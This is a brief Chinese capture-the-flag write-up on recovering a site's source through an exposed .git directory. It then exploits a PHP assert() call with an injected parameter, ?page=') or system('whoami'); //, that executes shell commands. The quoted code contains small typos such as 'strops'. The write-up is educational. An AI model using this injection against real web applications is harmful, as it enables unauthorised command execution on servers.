知识点1:git泄露
知识点2:assert函数的命令执行漏洞
先进行目录扫描,发现git泄露

发现了git泄露,通过githack工具将其下载下来

进入dist文件中查看

一个一个查看后,发现了index.php里有漏洞利用点,即 assert函数
assert函数的命令执行漏洞原理:当assert()内的参数为字符串是,那个字符串会被当成php函数执行(就和eval差不多)
- 注意到这两行代码
- $file = "templates/" . $page . ".php";
- assert(strops('$file','..') === false)
-
- 当page = ') //时
- file = templates/')
- assert中的代码为 strops('templates/') 因为语法问题直接报错了,但是可以通过 or 来进行命令执行
- 如 page = ') or system('whoami') //
- file = templates/') or system('whoami')
- assert中代码为 strops(templates/') or system('whoami')
- 因为 strops函数报错了,因此执行or后面的语句,即whoami
- 结合上面的思路构造pyaload
- ?page=') or system('whoami'); //

需要注意的是,php语句结尾需要有分号
接下来就是正常的命令执行漏洞
php函数中有命令执行漏洞的函数,最基本的原理就是括号内的参数会被当成php代码执行,然后可以通过 system()函数来执行命令行
1.eval() 最常见的
2.assert() 如果函数中嵌套了函数,可以采用or来进行绕过(如上面的strops函数)
3.preg_replace() ,/e模式具有命令执行的漏洞